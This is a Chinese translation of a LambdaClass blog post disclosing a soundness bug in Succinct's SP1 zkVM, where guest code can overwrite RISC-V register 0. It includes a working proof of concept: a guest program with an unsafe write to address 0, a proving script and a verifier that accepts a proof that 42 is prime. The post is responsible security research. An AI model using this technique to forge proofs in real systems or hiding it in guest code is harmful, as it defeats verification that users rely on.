ZK 的未来在于 RISC-V zkVM,但业界必须小心:Succinct 的 SP1 偏离标准如何导致漏洞

Succinct 的 SP1 虚拟机中发现了一个漏洞,攻击者可以通过微妙地操纵访客代码中的寄存器 0 来证明错误陈述的有效性。该漏洞源于偏离 RISC-V 规范以及代码库的复杂性。该问题允许恶意行为者生成恶意程序的有效证明,从而可能导致严重的漏洞。

当开发零知识虚拟机时,为什么要避免复杂的代码库和偏离标准

要点总结:我们在 Succinct 的 SP1 虚拟机中发现了一个微妙的错误,该错误允许恶意用户通过巧妙地操纵 guest 代码中的寄存器 0 来证明虚假陈述的有效性

这得益于 3MI LabsAlignedLambdaClass 之间的合作。

LambdaClass 和 Fuzzing Labs 将投资进一步调查 zkvm 中的关键安全漏洞。我们认为,代码库变得过于复杂和过度设计,这导致了许多错误。如果我们不投资、不增加关注和简化代码库,我们认为该行业将面临风险。在安全方面,行业变得自满,并且受到商业决策的推动,急于投入生产使用,而忽略了这些安全问题,这可能会导致非常严重的后果。在这篇文章中,我们分析了 SP1 的案例,但我们认为所有 zkvm 的代码库都需要简化并遵循标准,从而降低攻击面。正如前面提到的,我们将对不同的 zkvm 进行更彻底的研究。

介绍

我们已经看到几个工程项目中开发了冗长而复杂的代码库,这些代码库具有过多的功能,文档和测试也很差。有些人认为,拥有这样的代码库表明你很聪明,具有出色的编码技能,并且对所有事情都进行了深入的思考。我们不这么认为:掌握的证明在于简单性。错误总会在任何项目中发生,但是发生严重错误的可能性会随着代码库的复杂性和长度呈非线性方式增加:越长且越复杂,你可能拥有的错误和难以预测的行为就越多。

在我们对 zk 虚拟机和证明系统的分析过程中,我们在 Succinct 的 SP1 虚拟机中发现了一个错误,该错误允许恶意行为者生成恶意程序的有效证明(证明虚假陈述为真)。我们向 Succinct 团队披露了我们的担忧,他们回复说这在他们的安全假设范围内,并且目前已包含在他们的文档中

我们与几位审计员讨论了这些问题,并得出结论,最重要的是,这种偏差已得到充分记录和沟通,因此我们正在更新我们的文档以反映这一点。我们不认为这是一个安全问题,因为在我们的 zkVM 中证明的程序已经被假定为格式良好且无恶意。换句话说,虽然你可以证明恶意程序的执行,但如果程序已损坏,则生成的证明毫无意义。

我们喜欢 Succinct 的工作,并认为他们的虚拟机引发了良性的竞争,以改进当前的 zkvm 设计,并有助于表明 ZK 的未来在于 RISC-V 虚拟机。我们一直在大量使用它并进行实验,并正在考虑在我们的某些项目中使用它。我们也喜欢他们对我们的发现做出了快速回应,尽管我们不同意他们的标准,但他们认真对待了我们的担忧。

从我们的角度来看,此错误是由于偏离 RISC-V 规范和代码库的复杂性而引起的。我们认为,在设计、开发和测试可能在实际应用中使用的 zk 虚拟机时,需要更加谨慎,并通过不进入未知领域来尽量减少攻击面。

错误的描述

此示例表明,可以通过适当针对性的内存写入来对 SP1 证明进行干扰。我们将使用它通过一个简单的素性测试来证明 42 是素数:

// 通过立即检查来判断是否可被 6k ± 1 整除。
// 来源:https://en.wikipedia.org/wiki/Primality_test#Rust
fn is_prime(n: u64) -> bool {
    if n <= 1 {
        return false;
    }
    if n <= 3 {
        return true;
    }
    if n % 2 == 0 || n % 3 == 0 {
        return false;
    }
    let mut i = 5;
    while i * i <= n {
        if n % i == 0 || n % (i + 2) == 0 {
            return false;
        }
        i += 6;
    }
    true
}

使用以下 guest 程序(使用 i/o 对于此错误是不必要的):

pub fn main() {
    let what: u8 = sp1_zkvm::io::read();
    let where_: u32 = sp1_zkvm::io::read();

    let n = sp1_zkvm::io::read::<u64>();

    // 我们可以进行一些小的写入,作为一种享受
    unsafe {
        *(where_ as *mut u8) = what;
    }
    let is_prime = is_prime(n);

    sp1_zkvm::io::commit(&n);
    sp1_zkvm::io::commit(&is_prime);
}

然后执行 proving 脚本,

//! 一个程序,它接受数字 `n` 作为输入,并将 `n` 是否为素数作为输出写入。
use sp1_sdk::{utils, ProverClient, SP1Stdin};

// 使用 `cargo prove build --docker --elf-name is-prime-write --output-directory elf` 生成
// 在 program 目录中
const ELF: &[u8] = include_bytes!("../../../program/elf/is-prime-write");
const FILENAME: &'static str = "is-prime-write.proof";

fn main() {
    // 设置一个 tracer 来记录日志。
    utils::setup_logger();

    // 生成并验证证明
    let client = ProverClient::new();
    let (pk, vk) = client.setup(ELF);
    // 创建一个输入流并将“29”写入其中
    let n = 42u64;

    let mut stdin = SP1Stdin::new();
    stdin.write(&1u8); // what
    stdin.write(&0u32); // where
    stdin.write(&n);

    let mut proof = client.prove(&pk, stdin).compressed().run().unwrap();
    let _ = proof.public_values.read::<u64>();
    let is_prime = proof.public_values.read::<bool>();
    println!("Is {n} prime? {}", is_prime);
    client.verify(&proof, &vk).expect("verification failed");
    proof.save(FILENAME).expect("saving proof failed");
}

该程序读取三个输入:内存写入的内容 (what)、内存写入的目标地址 (where) 和用于素性测试的数字。(它还包含 ELF 编译版本作为 program/elf/is-prime-write。)。根据 RISC-V 规范,寄存器 0 应始终为零,并且不能更改。由于此错误,我们可以在 guest 代码中更改它,从而使本应为 false 的语句更改为 true。

在给定的地址执行给定内容的内存写入后,该程序将测试给定的输入 n 是否为素数。main.rs(./program/src/main.rs) 中的 is_prime() 函数是一个正确的素性测试,对于输入 42 应该返回 false。最后,该程序会提交到给定的输入 n,以及素性测试的结果;这些是由验证器二进制文件显示的公共值,表明 is_prime() 函数在程序的输入为 42 时错误地返回了 true

script 目录包含最小的 rust 二进制文件 verifier.rs(./script/src/bin/verifier.rs),该文件验证 script/is-prime-write.proof 中给出的证明声明 42 是一个素数。可以通过运行以下命令进行检查。

cd script/
cargo run
//! 一个程序,它接受数字 `n` 作为输入,并将 `n` 是否为素数作为输出写入。
use sp1_sdk::{utils, ProverClient, SP1ProofWithPublicValues};

// 使用 `cargo prove build --docker --elf-name is-prime-write --output-directory elf` 生成
// 在 program 目录中
const ELF: &[u8] = include_bytes!("../../../program/elf/is-prime-write");
const FILENAME: &'static str = "is-prime-write.proof";

fn main() {
    // 设置一个 tracer 来记录日志。
    utils::setup_logger();

    // 生成并验证证明
    let client = ProverClient::new();
    let (_, vk) = client.setup(ELF);

    // 验证器代码
    let mut deserialized_proof =
        SP1ProofWithPublicValues::load(FILENAME).expect("loading proof failed");

    // 验证反序列化的证明。
    client
        .verify(&deserialized_proof, &vk)
        .expect("verification failed");

    // 既然已经被接受了
    let n: u64 = deserialized_proof.public_values.read();
    let is_prime: bool = deserialized_proof.public_values.read();
    println!("Verifier: Is {n} prime? {is_prime}");
}

虽然此示例很简单(因为我们可以很容易地看到 42 不是素数,因为它是一个偶数),但此想法可以被利用来进行更微妙的攻击,包括供应链攻击。虽然在这种情况下,guest 程序中的更改非常明显,但在代码库更复杂且存在多个依赖项的其他情况下,可能更难检测到。

假设程序总是正确生成并且没有错误是不符合软件行业的常识的,并且可能导致严重漏洞。此外,偏离完善的标准会使对预期行为的推理变得困难,并可能导致更复杂和微妙的错误。

总结

通过与 3MI Labs 和 Aligned 合作,我们发现了 SP1 如何处理内存寄存器(特别是寄存器 0)中的一个错误,该错误可能允许攻击者证明错误的陈述。这是由于偏离了 RISC-V 规范和复杂的代码库造成的。这使得对预期行为的推理非常困难,因为它也可能导致意想不到的微妙错误,这可能在实际环境中产生严重后果。我们必须继续测试、分析并尝试在 zk 虚拟机中查找错误和意外行为,以最大限度地降低在实际用例中使用时的风险。

  • 原文链接: blog.lambdaclass.com/the...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
lambdaclass
lambdaclass
LambdaClass是一家风险投资工作室,致力于解决与分布式系统、机器学习、编译器和密码学相关的难题。